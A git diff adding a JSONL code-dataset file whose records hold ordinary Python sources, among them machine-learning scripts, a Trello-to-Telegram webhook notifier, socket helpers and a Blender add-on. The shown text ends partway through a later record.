diff --git "a/4912.jsonl" "b/4912.jsonl" new file mode 100644--- /dev/null +++ "b/4912.jsonl" @@ -0,0 +1,710 @@ +{"seq_id":"147221634","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndataset = pd.read_csv(\"D:\\Mushroom Classification data\\mushrooms.csv\")\r\ndataset.describe()\r\n\r\ndataset.info()\r\ndataset1 = pd.get_dummies(dataset)\r\n\r\nx = dataset1.iloc[:,2:]\r\ny = dataset1.iloc[:,1]\r\n\r\n# Training and testing set from KNeighborsC\r\nfrom sklearn.neighbors import KNeighborsClassifier \r\n\r\n\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nkn = KNeighborsClassifier(n_neighbors = 5,metric='minkowski', p =1)\r\n\r\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size=0.1,train_size=0.9,random_state=88,shuffle=True)\r\n\r\n\r\nkn.fit(x_train,y_train)\r\n\r\npredictionKN = kn.predict(x_test)\r\n\r\n\r\n# Training and testing set from Decision tree\r\n\r\n\r\nfrom sklearn.tree import DecisionTreeClassifier\r\n\r\ndt = DecisionTreeClassifier()\r\n\r\ndt.fit(x_train,y_train)\r\n\r\npredictionDT = dt.predict(x_test)\r\n\r\n### Naive Bayes\r\nfrom sklearn.naive_bayes import GaussianNB\r\n\r\nnb = GaussianNB()\r\nnb.fit(x_train,y_train)\r\n\r\npredictionNB = nb.predict(x_test)\r\n\r\n## Logistic regression\r\nfrom sklearn.linear_model import LogisticRegression\r\nlr = LogisticRegression()\r\nlr.fit(x_train,y_train)\r\n\r\npredictionLR = lr.predict(x_test)\r\n\r\n\r\n### Cross validation\r\n\r\nfrom sklearn.model_selection import cross_val_score\r\n\r\n\r\nscoreDT = cross_val_score(dt,x,y,cv = 10)\r\nscoreKN = cross_val_score(kn,x,y,cv=10)\r\nscoreNB = cross_val_score(nb,x,y,cv=10)\r\nscoreLR = cross_val_score(lr,x,y,cv=10)\r\n\r\n### Confusion Metrics and Classification report\r\n\r\nfrom sklearn.metrics import confusion_matrix,classification_report\r\n\r\n#CONFUSSION MATRIX\r\n\r\ncmdt = confusion_matrix(y_test, predictionDT)\r\n\r\ncmkn = confusion_matrix(y_test, predictionKN)\r\n\r\ncmnb = confusion_matrix(y_test, predictionNB)\r\n\r\ncmlr = confusion_matrix(y_test, predictionLR)\r\n\r\n#CLASSIFICATION REPORT\r\n\r\ncrdt = classification_report(y_test, predictionDT)\r\n\r\ncrkn = classification_report(y_test, predictionKN)\r\n\r\ncrnb = classification_report(y_test, predictionNB)\r\n\r\ncrlr = classification_report(y_test, predictionLR)\r\n\r\n# ROC CURVE\r\nfrom sklearn.metrics import roc_curve\r\n\r\ny_prob = lr.predict_proba(x_test)\r\n\r\ny_prob = y_prob[:,1]\r\n\r\nFPR, TPR, Thresholds = roc_curve(y_test, y_prob)\r\n\r\nplt.plot(FPR,TPR)\r\nplt.xlabel('FPR')\r\nplt.ylabel('TPR')\r\n\r\nplt.show()\r\n\r\n# ROC AUC Score\r\nfrom sklearn.metrics import roc_auc_score\r\n\r\nroc_auc_score(y_test,y_prob)\r\n\r\n\r\n\r\n","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"455998259","text":"'''\n그래프 component의 수를 세는 문제.\n모든 배열을 돌면서 몇번의 dfs가 실행되었는지 수를 세면 된다.\n'''\n\nimport sys\ninput = sys.stdin.readline\nT=int(input())\n\n\ndx=[0,0,-1,1]\ndy=[-1,1,0,0]\n\ndef in_range(i,j):\n if i==N or j==M or i<0 or j < 0:\n return False\n return True\n\ndef dfs(i,j):\n need_visit=[[i,j]]\n while need_visit:\n x,y = need_visit.pop()\n\n Map[x][y] = 0\n\n for i in range(4):\n new_x = x+dx[i]\n new_y = y+dy[i]\n\n if not in_range(new_x,new_y):\n continue\n \n if Map[new_x][new_y] == 0:\n continue\n \n need_visit.append([new_x,new_y])\n \n\nfor _ in range(T):\n M,N,K = map(int,input().split())\n Map = [[0 for i in range(M+1)] for j in range(N+1)]\n \n #배추밭 \n for _ in range(K):\n y,x = map(int,input().split())\n Map[x][y] = 1\n \n cnt=0\n for i in range(N):#세로\n for j in range(M):#가로\n if Map[i][j] == 1:\n dfs(i,j)\n cnt+=1\n\n print(cnt)","sub_path":"백준/Python/카테고리/DFS/1012(유기농 배추).py","file_name":"1012(유기농 배추).py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"91670960","text":"from http.server import HTTPServer, BaseHTTPRequestHandler\nfrom services.telegram_api_utils import TelegramApiUtils\nfrom datetime import datetime, timedelta, timezone\nimport json\nimport re\n\n\nclass TrelloActivityHandler(BaseHTTPRequestHandler):\n\n\n MESSAGE_PATTERN_FOR_UPDATED_OR_TRANSFERED_TICKETS = \"'{issue}' issue was {action}. \\\n \\n\\t\\t\" + u'\\U0000270F' + \" Previous {eventValue}: {before} \\\n \\n\\t\\t\" + u'\\U0001F4CC' + \" New one: {after} \\\n \\n---\\\n \\nChange was made by \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FOR_COMMENTED_ON_TICKETS = \"'{issue}' issue was commented with: \\\n \\n\\t\\t\" + u'\\U0001F4AC' + \" {comment} \\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FOR_DONE_CHECK_IN_CHECK_LIST = \"Element of check-list at issue '{issue}' was marked as DONE:\\\n \\n\\t\\t\" + u'\\U00002705' + \" {checkListElement} \\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FOR_UNDONE_CHECK_IN_CHECK_LIST = \"Element of check-list at issue '{issue}' was marked as UNDONE:\\\n \\n\\t\\t\" + u'\\U0000274C' + \" {checkListElement}\\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FROM_ADDED_ATTACHMENTS = \"'{issue}' issue has been updated by adding an attachment\\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FOR_CUD_CHECK_LIST_ELEMENTS = \"The element of checklist at issue '{issue}' was {action}:\\\n \\n\\t\\t{emojiAction} {checkListElement} \\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FOR_RENAMED_ELEMENTS_OF_CHECK_LISTS = \"The element of checklist at issue '{issue}' was renamed. \\\n \\n\\t\\t\" + u'\\U0000270F' + \" Previous {eventValue}: {before} \\\n \\n\\t\\t\" + u'\\U0001F4CC' + \" New one: {after} \\\n \\n---\\\n \\nChange was made by \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_FOR_ASSIGNED_OR_UNASSIGNED_ON_TICKETS = \"You were {action} issue '{issue}'.\\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n MESSAGE_PATTERN_TICKET_WAS_CREATED_OR_DELETED = u'\\U0001F5D2' + \" Issue '{issue}' was {action}.\\\n \\n---\\\n \\nBy \\\"{initiatorFullName}\\\"\\n\" + u'\\U000027A1' + \"\\\n click here to see more\"\n\n def do_HEAD(self):\n print(\"[INFO] Received HEAD request on {path} from {ip}\".format(path = self.path, ip = self.address_string()))\n\n if (self.address_string() not in self.server.trello_api_utils.trello_api_webhook_declared_official_ips\n or self.path[1:] != self.server.trello_secured_endpoint):\n self.send_response(401)\n self.send_header('Content-type','text/html')\n self.end_headers()\n return \n\n self.send_response(200)\n self.send_header('Content-type','text/html')\n self.end_headers()\n return \n\n def do_GET(self):\n print(\"[INFO] Received GET request on {path} from {ip}\".format(path = self.path, ip = self.address_string()))\n\n if (self.address_string() not in self.server.trello_api_utils.trello_api_webhook_declared_official_ips\n or self.path[1:] != self.server.trello_secured_endpoint):\n self.send_response(401)\n self.send_header('Content-type','text/html')\n self.end_headers()\n return \n\n self.send_response(200)\n self.send_header('Content-type','text/html')\n self.end_headers()\n return\n\n def do_POST(self):\n print(\"[INFO] Received POST request on {path} from {ip}\".format(path = self.path, ip = self.address_string()))\n\n if (self.address_string() not in self.server.trello_api_utils.trello_api_webhook_declared_official_ips\n or self.path[1:] != self.server.trello_secured_endpoint):\n self.send_response(401)\n self.send_header('Content-type','text/html')\n self.end_headers()\n return \n\n trello_dashboard_update_info = json.loads(self.rfile.read(int(self.headers['Content-Length'])))\n print(\"[DEBUG] Received the next JSON payload: \\n{}\".format(json.dumps(trello_dashboard_update_info, indent = 2)))\n \n received_action_type = trello_dashboard_update_info['action']['type']\n received_action_subtype = trello_dashboard_update_info['action']['display']['translationKey']\n print(\"[INFO] Received action from trello: {actionType} _ {actionSubtype}\".format(\n actionType = received_action_type, actionSubtype = received_action_subtype\n ))\n\n action_initiator_fullname = trello_dashboard_update_info['action']['memberCreator']['fullName']\n action_initiator_username = trello_dashboard_update_info['action']['memberCreator']['username']\n\n telegramApiUtils = TelegramApiUtils(self.server.telegram_token)\n result_message = ''\n \n card_id = ''\n try: card_id = trello_dashboard_update_info['action']['data']['card']['id']\n except: print(\"[ERROR] An exception occurred: can't get card identifier from the received update\")\n if received_action_type == 'updateCard':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n if received_action_subtype == 'action_move_card_from_list_to_list':\n\n result_object = {'card_title': '', 'from': '', 'to': ''}\n result_object['card_title'] = trello_dashboard_update_info['action']['display']['entities']['card']['text']\n result_object['from'] = trello_dashboard_update_info['action']['display']['entities']['listBefore']['text']\n result_object['to'] = trello_dashboard_update_info['action']['display']['entities']['listAfter']['text']\n\n # result_markers = ''\n # for v in trello_dashboard_update_info['model']['labelNames'].items():\n # if v != '': result_markers = result_markers + ',' + str(v)\n # result_markers = result_markers[1:-1]\n\n if telegramApiUtils.get_me():\n print('[INFO] Connection with telegram bot has been installed successfully')\n else:\n print('[ERROR] Connection with telegram bot has not been installed')\n exit()\n\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_UPDATED_OR_TRANSFERED_TICKETS.format(\n issue = result_object['card_title'],\n action = \"moved\",\n eventValue = \"column\",\n before = result_object['from'],\n after = result_object['to'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n if received_action_subtype == 'action_changed_description_of_card':\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_UPDATED_OR_TRANSFERED_TICKETS.format(\n issue = trello_dashboard_update_info['action']['data']['card']['name'],\n action = \"updated (description)\",\n eventValue = \"description\",\n before = trello_dashboard_update_info['action']['data']['old']['desc'],\n after = trello_dashboard_update_info['action']['data']['card']['desc'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n if received_action_subtype == 'action_renamed_card':\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_UPDATED_OR_TRANSFERED_TICKETS.format(\n issue = trello_dashboard_update_info['action']['data']['card']['name'],\n action = \"renamed\",\n eventValue = \"title\",\n before = trello_dashboard_update_info['action']['data']['old']['name'],\n after = trello_dashboard_update_info['action']['data']['card']['name'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n if received_action_subtype == 'action_added_a_due_date' or received_action_subtype == 'action_changed_a_due_date':\n # ticket shoul be moved to the corresponding column\n self.server.trello_api_utils.transfer_ticket_to_corresponding_column_by_its_due_date(card_id)\n\n ### handle complete/incomplete stats of check-list elements\n if received_action_type == 'updateCheckItemStateOnCard':\n # print(trello_dashboard_update_info['action']['data']['checklist']['name'])\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n if received_action_subtype == 'action_completed_checkitem':\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_DONE_CHECK_IN_CHECK_LIST.format(\n issue = trello_dashboard_update_info['action']['data']['card']['name'],\n checkListElement = trello_dashboard_update_info['action']['data']['checkItem']['name'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n elif received_action_subtype == 'action_marked_checkitem_incomplete':\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_UNDONE_CHECK_IN_CHECK_LIST.format(\n issue = trello_dashboard_update_info['action']['data']['card']['name'],\n checkListElement = trello_dashboard_update_info['action']['data']['checkItem']['name'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n \n ### actions of check-list elements\n if received_action_type == 'createCheckItem':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_CUD_CHECK_LIST_ELEMENTS.format(\n issue = card_title,\n action = \"created\",\n emojiAction = u'\\U00002795',\n checkListElement = trello_dashboard_update_info['action']['data']['checkItem']['name'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n if received_action_type == 'deleteCheckItem':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_CUD_CHECK_LIST_ELEMENTS.format(\n issue = card_title,\n action = \"removed\",\n emojiAction = u'\\U00002796',\n checkListElement = trello_dashboard_update_info['action']['data']['checkItem']['name'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n if received_action_type == 'updateCheckItem' and received_action_subtype == 'action_renamed_checkitem':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_RENAMED_ELEMENTS_OF_CHECK_LISTS.format(\n issue = card_title,\n checkListElement = trello_dashboard_update_info['action']['data']['checkItem']['name'],\n eventValue = 'content',\n before = trello_dashboard_update_info['action']['data']['old']['name'],\n after = trello_dashboard_update_info['action']['data']['checkItem']['name'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n\n ### comments on the cards\n if received_action_type == 'commentCard' and received_action_subtype == 'action_comment_on_card':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_COMMENTED_ON_TICKETS.format(\n issue = card_title,\n comment = trello_dashboard_update_info['action']['data']['text'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n\n ### card attachments\n if received_action_type == 'addAttachmentToCard' and received_action_subtype == 'action_add_attachment_to_card':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FROM_ADDED_ATTACHMENTS.format(\n issue = card_title,\n attachmentPreviewLink = trello_dashboard_update_info['action']['data']['attachment']['previewUrl'],\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n\n ### actions with un/assigned members on the cards\n if received_action_type == 'addMemberToCard' or received_action_type == 'removeMemberFromCard':\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n if received_action_subtype == 'action_added_member_to_card':\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_ASSIGNED_OR_UNASSIGNED_ON_TICKETS.format(\n action = u'\\U0000270C' + ' assigned to the',\n issue = card_title,\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n if received_action_subtype == 'action_removed_member_from_card':\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_FOR_ASSIGNED_OR_UNASSIGNED_ON_TICKETS.format(\n action = u'\\U0001F91E' + ' unassigned from the',\n issue = card_title,\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n member_id = trello_dashboard_update_info['action']['data']['idMember']\n member_username = self.server.trello_api_utils.getMemberById(member_id)['username']\n member_telegram_trello_assignment = self.server.mongodb_utils.findUserTelegramTrelloAssignmentByTrelloUsername(\n member_username\n )\n if member_telegram_trello_assignment != None:\n telegramApiUtils.send_message(member_telegram_trello_assignment['telegram_chat_id'], result_message)\n else:\n print(\"[DEBUG] Assignment between trello username and telegram chat id has not been found. Expected username is = {}\".format(\n member_username\n ))\n # should be empty because we have already sent necessary message and we need to answer to webhook with 200 OK\n result_message = ''\n \n ### action for create or archive tickets\n if received_action_type == 'createCard' or (received_action_type == 'updateCard' and received_action_subtype == 'action_archived_card'):\n\n action_card_shortlink = trello_dashboard_update_info['action']['data']['card']['shortLink']\n card_title = trello_dashboard_update_info['action']['data']['card']['name']\n card_action = ''\n if received_action_subtype == 'action_archived_card':\n card_action = 'archived'\n if received_action_subtype == 'action_create_card':\n card_action = 'created'\n result_message = TrelloActivityHandler.MESSAGE_PATTERN_TICKET_WAS_CREATED_OR_DELETED.format(\n issue = card_title,\n action = u'\\U0001F9E0' + ' {}'.format(card_action),\n initiatorFullName = action_initiator_fullname,\n issueShortLink = action_card_shortlink\n )\n\n # send result message after result_message created\n if result_message:\n # get card members\n card_members_usernames = []\n for member_id in self.server.trello_api_utils.getCardById(card_id)['idMembers']:\n card_members_usernames.append(self.server.trello_api_utils.getMemberById(member_id)['username'])\n # notify users which subscribed for ALL changes\n subscribers_for_all = self.server.mongodb_utils.findTrellloSubscribersByTheirSubscription(['ALL'])\n for subscriber_for_all in subscribers_for_all:\n if action_initiator_username != subscriber_for_all['trello_username']:\n telegramApiUtils.send_message(subscriber_for_all['telegram_chat_id'], result_message)\n # notify specific subscribers\n for card_member_username in card_members_usernames:\n subscribers_for_specific_changes = self.server.mongodb_utils.findTrellloSubscribersByTheirSubscription([card_member_username])\n for subscriber_for_specific_subscription in subscribers_for_specific_changes:\n if action_initiator_username != subscriber_for_specific_subscription['trello_username']:\n telegramApiUtils.send_message(subscriber_for_specific_subscription['telegram_chat_id'], result_message)\n\n self.send_response(200)\n self.send_header('Content-type','text/html')\n self.end_headers()\n return\n\n def getUsernamesOfTicketAssigners(self, card_id):\n for memberId in self.server.trello_api_utils.getCardById(card_id)['idMembers']:\n print(self.server.trello_api_utils.getMemberById(memberId)['username'])","sub_path":"trello_bot/handler_trello_activity.py","file_name":"handler_trello_activity.py","file_ext":"py","file_size_in_byte":19614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"8596902","text":"# Transmission Control Protocol\n\nimport socket\nimport traceback\n\n\ndef connect(host, port):\n s = socket.socket()\n s.connect((host, port))\n\n return s\n\n\ndef listen(host, port, queue_len):\n s = socket.socket()\n s.bind((host, port))\n s.listen(queue_len)\n\n return s\n\n\ndef recv_ex(s, n):\n msg = b''\n\n while True:\n ml = len(msg)\n rem = n - ml\n\n if rem < 0:\n raise Exception('impossible to reach', rem)\n\n if rem == 0:\n return msg\n\n # print('REM', rem, '\\told', msg)\n\n msg += s.recv(rem)\n\n # print('\\tnew', msg)\n\n if len(msg) == ml:\n raise EOFError\n\n\ndef accept_all(s, fn):\n try:\n while True:\n cs, _ = s.accept()\n fn(cs)\n except KeyboardInterrupt:\n s.close()\n except Exception as e:\n traceback.print_exception(e)\n","sub_path":"src/tcp.py","file_name":"tcp.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"579476700","text":"import bpy\nfrom .addon import prefs\n\n\nclass SUV_OT_uv_rotate(bpy.types.Operator):\n bl_idname = \"suv.uv_rotate\"\n bl_label = \"Rotate UV Islands\"\n\n delta = bpy.props.IntProperty(options={'SKIP_SAVE'}, default=1)\n\n @classmethod\n def poll(self, context):\n obj = context.active_object\n return obj and obj.type == 'MESH' and \\\n context.scene.tool_settings.uv_select_mode not in {'EDGE'}\n\n def execute(self, context):\n if self.delta < 0:\n valor = -prefs().uv_rotate_step\n else:\n valor = prefs().uv_rotate_step\n bpy.ops.transform.rotate(\n value=valor,\n axis=(-0, -0, -1),\n constraint_axis=(False, False, False),\n constraint_orientation='GLOBAL',\n mirror=False,\n proportional='DISABLED',\n proportional_edit_falloff='SMOOTH',\n proportional_size=1)\n return {'FINISHED'}\n","sub_path":"scripts/addons/smart_uv/uv_rotate.py","file_name":"uv_rotate.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"403812811","text":"from elasticsearch.exceptions import NotFoundError\nfrom faceduck.models.user import User\nfrom faceduck.utils import FaceduckError\nfrom .signup import email_already_exists\n\n\ndef get_user(user_id):\n try:\n user = User.get(id=user_id)\n except NotFoundError:\n raise FaceduckError(\"001\")\n \n return user\n\n\ndef get_all_users():\n return User.search().query(\"match_all\").scan()\n\ndef get_login_logs(user_id):\n user = get_user(user_id)\n return user.get_login_logs()\n\ndef edit_user(user_id, newData):\n user = get_user(user_id)\n for key in newData.keys():\n if key == \"username\":\n user.username = newData[key]\n elif key == \"email\":\n if email_already_exists(newData[key]):\n raise FaceduckError(\"003\") \n user.email = newData[key]\n elif key == \"name\":\n user.name = newData[key]\n elif key == \"surname\":\n user.surname = newData[key]\n elif key == \"birthday\":\n user.birthday = newData[key]\n elif key == \"gender\":\n user.gender = newData[key]\n elif key == \"image-url\":\n user.image_url = newData[key]\n user.save()\n return user\n\ndef get_groups(user_id):\n user = get_user(user_id)\n return user.getGroups()","sub_path":"backend/app/faceduck/core/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"206935378","text":"\n# We run several classifiers on the ESC-50 database\n\n# The aim is to evaluate run-time and efficiency in\n# the prediction.\n\n\n# Usual imports\nimport scipy as sp\nfrom IPython import embed\nfrom os import path\nimport time\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport sys\nimport os\n\n# To import the datasets\nfrom utils import ESC50\n\n# To write down results from classification\nfrom sklearn.metrics import classification_report, confusion_matrix \n\n# First, we import the dataset.\n# We have to decide the sizes of the train/test sets:\nSIZE_TRAIN = 100\nSIZE_TEST = 25\n\nshared_params = {'csv_path': 'esc50.csv',\n 'wav_dir': 'audio',\n 'dest_dir': 'audio/16000',\n 'audio_rate': 16000,\n # We use ESC-50 (so we classify 50 classes, not 10)!\n 'only_ESC10': False,\n 'pad': 0,\n 'normalize': True}\n\n# We can retrieve a batch of data\ntrain_data = ESC50(folds=[1],\n\t\t\t\t # We randomize the choice of data\n randomize=True,\n # This I am not sure what id does\n strongAugment=False,\n # This I am also not sure, but it appears harmless so far\n random_crop=False,\n # This reduces the input to two (out of 5) seconds\n inputLength=2,\n # This mixes two samples every time.\n # Not sure why this should be convenient\n mix=False,\n **shared_params).batch_gen(SIZE_TRAIN)\n\n# We can retrieve a batch of data\ntest_data = ESC50(folds=[1],\n randomize=True,\n strongAugment=False,\n random_crop=False,\n # The original kaggle script puts 4 secs\n # But we cannot contron data of different length.\n inputLength=2,\n mix=False,\n **shared_params).batch_gen(SIZE_TEST)\n\n# This is our data\nX, Y = next(train_data)\nX_test, Y_test = next(test_data)\n\nimport torch\n\n# We import a linear net:\nfrom my_nn import my_nn\n# And a convolution net:\nfrom my_nn import my_cnn\n\n# We have to put the input into the shape (dataset_size, 1, data_point_size)\n# where the 1 represents the number of input channels\n\nX_train = np.swapaxes(X, 1, 2)\nX_test = np.swapaxes(X_test, 1, 2)\n\n# We try with a convolution net.\n\ncnet = my_cnn(X_train, Y)\n\nembed()\n\ncnet.fit()\n\ncnn_prediction = cnet.predict(X_test)\n\nprint(classification_report(cnn_prediction, Y_test))\n\nembed()\n\n# We define the network:\n#net = my_nn(X_train, Y)\n#net.fit()\n#nn_prediction = net.predict(X_test)\n\n#print(classification_report(nn_prediction, Y_test))\n\n# With 6 layers, 500 data points it predicted 60 data points correctly to 27%.\n# But it classified the training set to 100%. So we overfitted the data.\n# Single layer hat approximately 200 vs 200 shape.\n\n","sub_path":"Audio/classification_nn.py","file_name":"classification_nn.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"107991432","text":"from paste import httpserver\nimport argparse\n\nfrom .app import app\nfrom .version import __version__\n\nfrom youtube_dl.utils import YoutubeDLHandler, compat_urllib_request\n\n\"\"\"\n A server for providing the app anywhere, no need for GAE\n\"\"\"\n\n\ndef setup_url_handlers():\n opener = compat_urllib_request.build_opener( YoutubeDLHandler())\n opener.addheaders =[]\n compat_urllib_request.install_opener(opener)\n\ndef setup():\n setup_url_handlers()\n\ndef main():\n desc = \"\"\"\n The youtube-dl API server.\n \"\"\"\n\n parser = argparse.ArgumentParser(description=desc)\n\n default_port = 9191\n port_help = 'The port the server will use. The default is: {}'\n port_help = port_help.format(default_port)\n parser.add_argument('-p', '--port',\n default=default_port,\n type=int,\n help=port_help\n )\n\n parser.add_argument('--version', action='store_true',\n help='Print the version of the server')\n\n args = parser.parse_args()\n if args.version:\n print(__version__)\n exit(0)\n \n setup()\n httpserver.serve(app, host='localhost', port=args.port)\n\nif __name__ == '__main__':\n main()\n","sub_path":"youtube_dl_server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"205074265","text":"from re import sub\n\n\ndef count_words(text):\n \"\"\"Return a mapping that has words as the keys and the number of times each\n word was seen as the values.\n \"\"\"\n words = [sub(r\"[^A-z|']\", \"\", word).casefold() for word in text.split(\" \")]\n count = {}\n for word in words:\n count[f\"{word}\"] = count[f\"{word}\"] + 1 if count.get(f\"{word}\") else 1\n return count\n","sub_path":"count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"488443078","text":"#coding: utf-8\n\nimport argparse\nfrom bcompiler.bcompiler import asm_to_bocde\n\ndef options(cmdargs,groupMode):\n\n argParser = argparse.ArgumentParser()\n argParser.add_argument(\"--debug\", dest=\"debug\", action='store_true', help=\"默认关闭debug\")\n\n args = argParser.parse_args(cmdargs)\n return args\n\nif __name__ == \"__main__\":\n\n asm_to_bocde()","sub_path":"ibsm/asm2bcode.py","file_name":"asm2bcode.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"42521414","text":"\"\"\"\n@Project : text-classification-cnn-rnn\n@Module : map_concurrent_futures.py\n@Author : Deco [deco@cubee.com]\n@Created : 7/10/18 3:14 PM\n@Desc : \n\"\"\"\nimport spacy\nfrom concurrent.futures import ProcessPoolExecutor\n\n\ndef pipeline_tagger_parser_ner(cls, st):\n nlp = cls()\n # 2. initialise it\n pipeline = ['tagger', 'parser', 'ner']\n for name in pipeline:\n component = nlp.create_pipe(name)\n # 3. create the pipeline components\n nlp.add_pipe(component)\n # 4. add the component to the pipeline\n model_data_path = ('/home/deco/miniconda2/envs/tf17/lib/python3.6/'\n 'site-packages/en_core_web_md/en_core_web_md-2.0.0')\n nlp.from_disk(model_data_path)\n # 5. load in the binary data\n\n doc = nlp.make_doc(st)\n print('tokens in pipeline_tagger_parser_ner:')\n print([token.text for token in doc])\n return 'tagger_parser_ner'\n\n\ndef pipeline_tokenizer(cls, st):\n nlp = cls()\n model_data_path = ('/home/deco/miniconda2/envs/tf17/lib/python3.6/'\n 'site-packages/en_core_web_md/en_core_web_md-2.0.0')\n nlp.from_disk(model_data_path)\n\n doc = nlp.make_doc(st)\n print('tokens in pipeline_tokenizer:')\n print([token.text for token in doc])\n return 'tokenizer'\n\n\nclass RunPipeline:\n\n def __init__(self, cls, st):\n self.cls = cls\n self.st = st\n\n def __call__(self, func):\n return func(self.cls, self.st)\n\n\ndef map_func_multi_process(cls, st):\n funcs = [pipeline_tagger_parser_ner, pipeline_tokenizer]\n with ProcessPoolExecutor(2) as p:\n res = p.map(RunPipeline(cls, st), funcs)\n # future = p.map(RunPipeline(cls, st), funcs)\n # no future.result()\n # syncronization, blocking\n print('Type of future:', type(res))\n # an iterator or generator\n # an iterator in which __next__ calls the result method of each future,\n # so what we get are the results of the futures, and not the\n # futures themselves.\n\n\nif __name__ == '__main__':\n\n lang0 = 'en'\n cls0 = spacy.util.get_lang_class(lang0)\n st0 = 'This is a sentence'\n\n map_func_multi_process(cls0, st0)\n\n print('finished.')\n","sub_path":"nlp_models/concurrent/map_concurrent_futures.py","file_name":"map_concurrent_futures.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"153461135","text":"import argparse\nimport os\nimport json\nimport sys\nimport platform\nimport psutil\nimport subprocess\nfrom datetime import datetime\nfrom shutil import copyfile, SameFileError\nfrom pathlib import Path\n\n# Configure script context and importing jobs_launcher and logger to it (DO NOT REPLACE THIS CODE)\nROOT_DIR = os.path.abspath(\n os.path.join(os.path.dirname(__file__), os.path.pardir, 